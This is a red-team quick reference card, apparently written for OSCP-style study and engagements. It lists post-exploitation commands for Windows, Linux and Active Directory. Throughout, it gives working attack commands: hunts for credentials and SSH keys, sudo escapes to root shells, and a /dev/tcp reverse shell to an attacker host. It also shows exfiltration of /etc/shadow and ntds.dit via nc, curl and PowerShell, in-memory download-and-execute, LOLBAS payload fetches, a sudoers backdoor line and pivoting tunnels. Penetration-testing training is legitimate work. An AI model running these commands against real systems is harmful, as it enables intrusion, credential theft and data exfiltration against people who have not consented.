

OFFENSIVE SECURITY · QUICK REFERENCE CARD

RED TEAMER'S FORGOTTEN COMMANDS

Windows · Linux · Active Directory · Pivoting
File Transfer · Credential Hunting · Privilege Escalation

```
C:\> whoami /all
C:\> cmdkey /list
C:\> reg query HKLM /f password /t REG_SZ /s
$ sudo -l
$ find / -perm -4000 -type f 2>/dev/null
$ cat ~/.bash_history
```

Compiled for Oscar Opemba | oxghostx

Edition 2026 · Kali Linux · OSCP / PNPT / Real Engagements

Authorized lab and engagement use only.

Quick Reference Index

01

First 60 Seconds

Linux + Windows + Meterpreter

02

Windows Built-in Enumeration

No external tools required

03

Linux Post-Exploitation

Often skipped, always valuable

04

Active Directory (No Tools)

Pure cmd/PowerShell

05

Privilege Escalation Checks

Quick wins before running WinPEAS

06

Credential Hunting

Windows + Linux + config files

07

File Transfer Alternatives

When curl/wget/nc are blocked

08

Pivoting One-Liners

SSH / Chisel / Ligolo-ng

09

LOLBAS / GTFOBins Essentials

Living off the land

10

The Always-Run Checklist

Never skip these

01 — First 60 Seconds

★ RUN FIRST

Linux

```
id && whoami && hostname
uname -a && cat /etc/os-release
ip a && cat /etc/passwd | grep sh$
sudo -l                # ALWAYS – instant privesc clue
w                      # who else is logged in right now
cat ~/.bash_history     # plaintext passwords typed before
```

Meterpreter

```
sysinfo
getuid
getpid
ps
run post/multi/recon/local_exploit_suggester
run post/multi/gather/env
```

Windows

```
whoami /all             & rem token, groups, privileges
net user %username% /domain
net localgroup administrators
systeminfo              & rem OS, patches, hotfixes
ipconfig /all           & rem ALL adapters incl. disconnected
arp -a                 & rem recently-contacted hosts
netstat -ano            & rem open connections + PIDs
route print             & rem network routes / segments
```

PowerShell equivalent

```
[System.Security.Principal.WindowsIdentity]::GetCurrent()
Get-LocalGroupMember Administrators
Get-NetIPConfiguration
Get-NetRoute | ? DestinationPrefix -ne "0.0.0.0/0"
Get-Process | Sort CPU -Descending | Select -First 15
```

02 — Windows Built-in Enumeration

NO TOOLS

Users and Groups

```
net user                & rem local users
net user USERNAME      & rem detail on one user
net localgroup          & rem all local groups
net localgroup administrators
query user              & rem active sessions (RDP)
wmic useraccount get name,sid & rem SIDs for token work
```

Services (privesc goldmine)

```
sc query                & rem running services
sc qc SERVICENAME      & rem full service config
wmic service get name,pathname,startmode ^
| findstr /i "auto" ^
| findstr /i /v "c:\windows"
accesschk.exe -uwcqv "Everyone" * & rem non-standard auto services
& rem writable services (Sysinternals)
```

Scheduled Tasks

```
schtasks /query /fo LIST /v & rem all tasks verbose
schtasks /query /fo LIST /v ^
| findstr /i "task\|run\|status"
at & rem legacy scheduled commands
```

Interesting Registry Keys

```
rem AlwaysInstallElevated – instant SYSTEM if both = 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

rem AutoLogon – plaintext password
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

rem Stored credentials
cmdkey /list

rem Putty saved sessions (SSH creds)
reg query HKCU\Software\SimonTatham\Putty\Sessions /s
```

Installed Software and Patches

```
wmic product get name,version & rem all installed
wmic qfe get Caption,Description,HotFixID,InstalledOn
& rem installed hotfixes/patches
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s ^
| findstr "DisplayName DisplayVersion"
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
```

Sensitive File Search

```
dir /s /b C:\*password*
dir /s /b C:\*credential* C:\*secret* C:\*.config
findstr /si "password" C:\*.xml C:\*.ini C:\*.txt C:\*.config 2>nul
dir /s /b C:\Users\*id_rsa* C:\Users\*.pem C:\Users\*.ppk
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\inetpub\wwwroot\web.config 2>nul
```

03 — Linux Post-Exploitation

NO TOOLS

SUID / SGID / Capabilities

```
# SUID — cross with GTF0Bins
find / -perm -4000 -type f 2>/dev/null

# SGID
find / -perm -2000 -type f 2>/dev/null

# Capabilities (MORE missed than SUID)
getcap -r / 2>/dev/null
# cap_setuid+ep on python/perl/node = instant root
```

Sudo and Cron

```
sudo -l # run IMMEDIATELY on landing
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
crontab -l -u root 2>/dev/null
find / -name "*.sh" -perm -o+w 2>/dev/null # writable scripts run by root cron
```

Writable Paths and NFS

```
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v proc
cat /etc/exports # NFS shares with no_root_squash = root
showmount -e TARGET_IP # from attacker: list NFS exports
```

Process and Network

```
ps auxf # process tree — spot interesting parents
ss -tulpn # open ports (modern netstat)
netstat -tulpn 2>/dev/null
cat /etc/hosts # internal hostnames
cat /proc/net/arp # ARP table (neighbours)
cat /proc/net/fib_trie # routing table
```

Credential Hunting (Linux)

```
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
find / -name ".env" 2>/dev/null -exec cat {} \;
grep -r "password\|passwd\|secret\|DB_PASS" /var/www/ 2>/dev/null
grep -r "password\|secret" /etc/ 2>/dev/null
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
find / -name "id_rsa" -o -name "*.pem" -o -name "*.ppk" 2>/dev/null
cat /home/*/.ssh/config 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null
```

Running as Other Users

```
cat /etc/passwd | grep -v nologin | grep -v false
ls -la /home/ # what users exist
last # login history
w # active sessions
who # simpler than w
```

04 — Active Directory Without Tools

PURE
CMD/PS

Domain Enumeration — cmd.exe

```
net user /domain
net group /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Controllers" /domain
net accounts /domain          & rem password policy – spray timing!
nltest /domain_trusts         & rem trust relationships
nltest /dclist:DOMAIN         & rem list all DCs
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN
```

SPNs (Kerberoast targets — no Impacket)

```
setspn -Q */*                & rem all SPNs in domain

rem PowerShell version:
([adsisearcher]"(&(objectClass=user)(servicePrincipalName=*))").FindAll()
```

AS-REP Roasting candidates

```
rem Users with PreAuthNotRequired flag:
([adsisearcher]"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803.1.1:=0))").FindAll()
```

PowerShell ADSI (no RSAT needed)

```
# All domain users
([adsisearcher]"(objectClass=user)").FindAll() | % {$_.Properties.samaccountname}

# All computers
([adsisearcher]"(objectCategory=computer)").FindAll() | % {$_.Properties.name}

# Members of a group
([adsisearcher]"(&(objectClass=group)(cn=Domain Admins))").FindOne().Properties.memberofnames

# Current user's group memberships
([adsisearcher]"(samaccountname=$env:USERNAME)").FindOne().Properties.memberofnames

# Admins with AdminCount=1 (privileged accounts)
([adsisearcher]"(&(objectClass=user)(adminCount=1))").FindAll() | % {$_.Properties.samaccountname}
```

Network Shares and Remote Access

```
net view /domain              & rem computers in domain
net view \\COMPUTERNAME       & rem shares on a host
net use \\TARGET\IPC$ "" /u:""

cmdkey /list                  & rem null session test
                                & rem cached credentials (RDP!)
```

ACL Checking (no BloodHound)

```
# Check permissions on an object via PowerShell
(Get-Acl "AD:CN=TARGET_USER,DC=domain,DC=local").Access
# WriteDACL / GenericAll / GenericWrite = abuse path
```

05 — Privilege Escalation Quick Checks

BEFORE
WINPEAS

Windows — Token Privileges

```
whoami /priv
rem These = near-instant SYSTEM:
rem SeImpersonatePrivilege → PrintSpoofer / GodPotato
rem SeAssignPrimaryToken → same potato attacks
rem SeTakeOwnershipPrivilege → own any object
rem SeBackupPrivilege → read any file incl. NTDS.dit
rem SeRestorePrivilege → write any file
rem SeDebugPrivilege → dump LSASS
rem SeLoadDriver → load malicious kernel driver
```

Windows — Unquoted Service Paths

```
wmic service get name,pathname,startmode ^
| findstr /i /v "C:\\Windows\\System32" ^
| findstr /i /v ' '
rem Unquoted + space in path + writable dir = SYSTEM
```

Windows — Weak Service Permissions

```
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "%USERNAME%" *
rem SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG = change binpath
```

Linux — Kernel and Sudo

```
uname -r # kernel version → searchsploit
lsb_release -a # distro version
sudo -l # MOST IMPORTANT
# Common sudo misconfigs:
# (ALL) NOPASSWD: /usr/bin/vim → :!/bin/sh
# (ALL) NOPASSWD: /usr/bin/python3 → os.system('/bin/bash')
# (ALL) NOPASSWD: /usr/bin/find → find / -exec /bin/sh \;
# (ALL) NOPASSWD: /usr/bin/less → !sh
# (ALL) NOPASSWD: /usr/bin/awk → awk 'BEGIN{system("/bin/bash")}'
```

Linux — World-Writable & PATH Hijack

```
# Writable files owned by root
find / -user root -writable -type f 2>/dev/null | grep -v proc

# PATH hijacking — does a root script call binaries without full path?
cat /etc/crontab | grep -v "^#"
# If script calls "backup" without /usr/bin/backup:
echo '/bin/bash -i >& /dev/tcp/KALI/4444 0>&1' > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH
```

Potato Attacks (Windows)

```
# SeImpersonatePrivilege present?
whoami /priv | findstr "Impersonate"

# PrintSpoofer (Server 2019 / Win 10)
PrintSpoofer.exe -i -c cmd

# GodPotato (broadest OS support)
GodPotato.exe -cmd "cmd /c whoami"

# JuicyPotatoNG (older systems)
JuicyPotatoNG.exe -t * -p cmd.exe
```

06 — Credential Hunting

HIGH YIELD

Windows — Registry + Files

```
rem Registry-wide password search
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

rem Unattended install files (plaintext admin password)
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\System32\sysprep\sysprep.xml
type C:\Windows\System32\sysprep.inf

rem Group Policy Preferences (GPP) – AES key is public
dir /s *Groups.xml 2>nul
dir /s *Services.xml *Scheduledtasks.xml 2>nul

rem Web config – DB connection strings
type C:\inetpub\wwwroot\web.config | findstr "connectionString password"
dir /s web.config 2>nul | findstr web.config
```

Windows — Browser and App Credentials

```
rem Chrome stored passwords (SQLite)
type "%LOCALAPPDATA%\Google\Chrome\User Data\Default>Login Data"

rem Firefox (JSON)
dir /s logins.json 2>nul
dir /s key4.db 2>nul

rem MobaXterm / Putty sessions
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
dir "%APPDATA%\MobaXterm" /s /b 2>nul

rem Windows Credential Manager
vaultcmd /listcreds:"Windows Credentials"
vaultcmd /listcreds:"Web Credentials"
```

Linux — All the Hidden Places

```
# Shell histories (gold)
cat ~/.bash_history ~/.zsh_history ~/.sh_history 2>/dev/null
cat /root/.bash_history 2>/dev/null

# SSH keys and configs
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
cat /home/*/.ssh/config 2>/dev/null
cat /home/*/.ssh/known_hosts 2>/dev/null

# Web app config files
find /var/www -name "*.php" | xargs grep -l "password\|DB_PASS" 2>/dev/null
find /var/www -name "wp-config.php" -exec cat {} \;
find /var/www -name "config.php" -exec cat {} \;
find /var/www -name ".env" -exec cat {} \;
find / -name "database.yml" -exec cat {} \; 2>/dev/null # Rails
find / -name "settings.py" | xargs grep -i "password\|secret" 2>/dev/null # Django
```

Linux — System and Service Configs

```
# Database credentials
cat /etc/mysql/my.cnf 2>/dev/null
grep -r "password" /etc/mysql/ 2>/dev/null
cat /var/lib/mysql/mysql/user.MYD 2>/dev/null

# Mail spool (sometimes contains creds in email bodies)
ls /var/mail/
cat /var/mail/root 2>/dev/null

# Process environment variables (live processes)
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
    cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|secret\|key"
done
```

07 — File Transfer When Everything Is Blocked

ALWAYS
NEEDED

Windows — Downloading Files

```
rem certutil (always present, often forgotten)
certutil -urlcache -f http://KALI/file.exe C:\Temp\file.exe
certutil -decode encoded.b64 file.exe & rem decode base64

rem bitsadmin (background transfer)
bitsadmin /transfer myjob http://KALI/file.exe C:\Temp\file.exe

rem PowerShell variants
(New-Object Net.WebClient).DownloadFile('http://KALI/f.exe','C:\Temp\file.exe')
Invoke-WebRequest -Uri http://KALI/f.exe -OutFile C:\Temp\file.exe
iwr http://KALI/f.exe -o C:\Temp\file.exe & rem alias

rem In-memory execution (no disk write)
IEX(New-Object Net.WebClient).DownloadString('http://KALI/shell.ps1')
IEX(iwr http://KALI/shell.ps1 -UseBasicParsing)

rem SMB (if KALI runs smbserver)
copy \\KALI_IP\share\file.exe C:\Temp\
robocopy \\KALI_IP\share C:\Temp file.exe
```

Kali — Serve Files Quickly

```
# HTTP
python3 -m http.server 80
python3 -m http.server 8080

# SMB (Windows-friendly, no browser needed)
impacket-smbserver share $(pwd) -smb2support
impacket-smbserver share $(pwd) -smb2support -username user -password pass

# FTP (for very old targets)
python3 -m pyftplib -p 21 -w
```

Base64 Transfer (Copy-Paste Safe)

```
# Kali: encode file to base64
base64 -w0 shell.exe > shell.b64
cat shell.b64 # copy the output

# Windows: decode base64 string back to file
$b64 = "BASE64STRING_HERE"
[System.IO.File]::WriteAllBytes(
    "C:\Temp\shell.exe",
    [System.Convert]::FromBase64String($b64))

# Linux target: decode
echo "BASE64STRING" | base64 -d > shell.elf
chmod +x shell.elf
```

Uploading Loot to Kali

```
# From Windows - POST to Kali listener
# Kali listener:
nc -lvp 8888 > received.txt
# Windows sender:
Invoke-WebRequest -Uri http://KALI:8888 -Method POST -InFile C:\loot.txt

# Netcat (if available on target)
cat /etc/shadow | nc KALI 8888

# Base64 and curl
base64 /etc/shadow | curl -X POST http://KALI:8888 -d @-

# SCP (if SSH key in place)
scp user@TARGET:/etc/shadow ./loot/

# Python upload from target
python3 -c "import requests,base64; requests.post('http://KALI:8888', data=open('loot.txt').read().encode('base64'))"
```

Windows Sending Files Out

```
# PowerShell upload
Invoke-WebRequest -Uri http://KALI:8888/ -Method POST -InFile C:\Users\victim\ntds\ntds.dit

# SMB copy back to Kali
copy C:\loot.txt \\KALI\share\
```

08 — Pivoting One-Liners

SSH/CHISEL/
LIGOLO

SSH Tunneling (Most Forgotten)

```
# Dynamic SOCKS5 proxy through SSH (proxychains any tool)
ssh -D 1080 -N -q user@PIVOT_HOST

# Local port forward – reach INTERNAL:PORT via localhost:LOCALPORT
ssh -L LOCALPORT:INTERNAL_HOST:REMOTEPORT user@PIVOT

# Remote port forward – expose Kali:PORT via VPS:PORT
# (victim callbacks hit VPS → forwarded to Kali)
ssh -R VPS_PORT:127.0.0.1:KALI_PORT user@VPS

# Keep alive flags (for long sessions)
ssh -D 1080 -N -o ServerAliveInterval=60 -o ServerAliveCountMax=3 user@PIVOT

# Full combo – jump through bastion to internal
ssh -J user@BASTION user@INTERNAL

# proxychains config after dynamic forward:
# /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn INTERNAL_HOST
```

Chisel (when SSH unavailable)

```
# Kali server
chisel server -p 8000 --reverse

# Target client – SOCKS5 reverse proxy
chisel client KALI:8000 R:1080:socks

# Target client – specific port forward
chisel client KALI:8000 R:3389:INTERNAL:3389

# Then proxychains (SOCKS5 127.0.0.1:1080)
# Or connect directly to localhost:3389 for port forward
```

Ligolo-ng (Cleanest — Acts Like VPN)

```
# Kali – start proxy
./proxy -selfcert -laddr 0.0.0.0:11601

# Target – connect agent
./agent -connect KALI_IP:11601 -ignore-cert
# (Windows version: agent.exe)

# Kali ligolo console:
session                                # select session
start                                  # activate tunnel

# Add route on Kali OS (key step people forget!)
sudo ip route add 192.168.57.0/24 dev ligolo

# Now ALL tools route natively – no proxychains!
nmap -sV 192.168.57.10                # works directly
impacket-psexec domain/user@192.168.57.10

# Multiple pivots – add multiple routes
sudo ip route add 10.10.10.0/24 dev ligolo
```

Metasploit Pivoting

```
# Add route through existing session
meterpreter> run autoroute -s 192.168.57.0/24
# or
msf> route add 192.168.57.0/24 SESSION_ID
msf> route print

# SOCKS proxy (for external tools)
msf> use auxiliary/server/socks_proxy
set SRVPORT 1080; set VERSION 5; run -j

# Port forward via Meterpreter
meterpreter> portfwd add -l 3389 -p 3389 -r 192.168.57.20
# Now RDP to 127.0.0.1:3389
```

Netcat / Socat Port Forward

```
# Socat – TCP relay (no SSH needed on pivot)
socat TCP-LISTEN:8888,fork TCP:INTERNAL:80

# Netcat relay (legacy Linux)
mkfifo /tmp/f
nc -lvnp 8888 < /tmp/f | nc INTERNAL 80 > /tmp/f
```

09 — LOLBAS / GTFOBins Essentials

LIVE OFF THE
LAND

Linux GTFOBins — Sudo Escapes

```
# vim / vi
sudo vim -c '!/bin/bash'

# python / python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# perl
sudo perl -e 'exec "/bin/bash"'

# find
sudo find / -exec /bin/bash \; -quit

# awk
sudo awk 'BEGIN {system("/bin/bash")}'

# less / man / git / journalctl
sudo less /etc/hosts → !bash
sudo man man → !bash
sudo git help config → !/bin/bash
sudo journalctl → !/bin/bash

# nmap (older versions)
sudo nmap --interactive → !sh

# tar (in cron/backup scripts - path hijack)
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# env (simple wrapper)
sudo env /bin/bash

# tee (write files as root)
echo "youruser ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
```

Windows LOLBAS — Execution

```
rem mshta - execute remote HTA
mshta http://KALI/evil.hta

rem regsvr32 - bypass AppLocker
regsvr32 /s /n /u /i:http://KALI/evil.sct scrobj.dll

rem certutil - download + decode
certutil -urlcache -f http://KALI/shell.exe shell.exe
certutil -decode shell.b64 shell.exe

rem rundll32
rundll32 javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell");h.Run("cmd /c shell.exe")

rem wmic process call
wmic process call create "cmd /c shell.exe"

rem msixexec
msiexec /quiet /i http://KALI/shell.msi

rem PsExec (Sysinternals - lateral movement)
PsExec.exe \\TARGET -u DOMAIN\admin -p Pass cmd

rem Installutil (bypass allowlist)
installutil.exe /logfile= /LogToConsole=false /U shell.exe

rem Regasm / Regsvcs
regasm.exe /U shell.dll
```

Windows LOLBAS — Download

```
rem Built-in download alternatives (all work without PowerShell/curl)
certutil -urlcache -f URL file
bitsadmin /transfer j URL file
expand \\KALI\share\file.cab C:\Temp\file.exe
xcopy \\KALI\share\file.exe C:\Temp\
esentutil /y \\KALI\share\file /d C:\Temp\file /o
```

10 — The Always-Run Checklist

NEVER SKIP

On every Linux foothold:

- ``id && whoami && hostname && uname -a``
- ``sudo -l`` — run IMMEDIATELY, before anything else
- ``cat ~/.bash_history`` — plaintext passwords in commands
- ``cat /etc/crontab && ls /etc/cron.*`` — root cron jobs
- ``find / -perm -4000 -type f 2>/dev/null`` — SUID
- ``getcap -r / 2>/dev/null`` — capabilities (beats SUID)
- ``find / -name ".env" 2>/dev/null -exec cat {} \;`` — secrets
- ``ss -tulpn`` — internal listening ports = pivot targets
- ``cat /proc/net/arp`` — nearby hosts

On every Windows foothold:

- ``whoami /all`` — token + groups + privileges (read ALL of it)
- ``cmdkey /list`` — cached RDP/network credentials
- ``net accounts /domain`` — lockout policy before spraying
- ``reg query HKCU...AlwaysInstallElevated`` — instant SYSTEM if =1
- ``schtasks /query /fo LIST /v`` — scheduled tasks
- ``dir /s /b C:\*password*`` — plaintext password files
- ``reg query HKLM /f password /t REG_SZ /s`` — registry passwords
- ``type C:\Windows\Panther\Unattend.xml`` — auto-install admin pass

In every Active Directory environment:

- ``net accounts /domain`` — password policy (spray timing!)
- ``net group "Domain Admins" /domain`` — who is DA
- ``setspn -Q */*`` — Kerberoastable accounts (no tools!)
- ``nltest /domain_trusts`` — trust relationships
- ``cmdkey /list`` — cached domain credentials on this host
- Run BloodHound collection immediately after domain auth

In every Meterpreter session:

- ``sysinfo`` + ``getuid`` + ``getpid`` + ``ps`` — always first
- ``run post/multi/recon/local_exploit_suggester`` — auto privesc
- ``run autoroute -s SUBNET`` — pivot before you forget
- ``migrate`` to a stable process before doing anything noisy

Before ANY password spray or brute force:

- Check lockout threshold: ``net accounts /domain``
- Use lockout threshold - 1 as your attempt limit per account
- Space attempts by lockout observation window
- Document every attempt in case of incident report

Before ending any engagement:

- Remove all persistence mechanisms deployed
- Delete all uploaded tools and payloads from targets
- Document every system touched, every change made
- Verify cleanup with client point-of-contact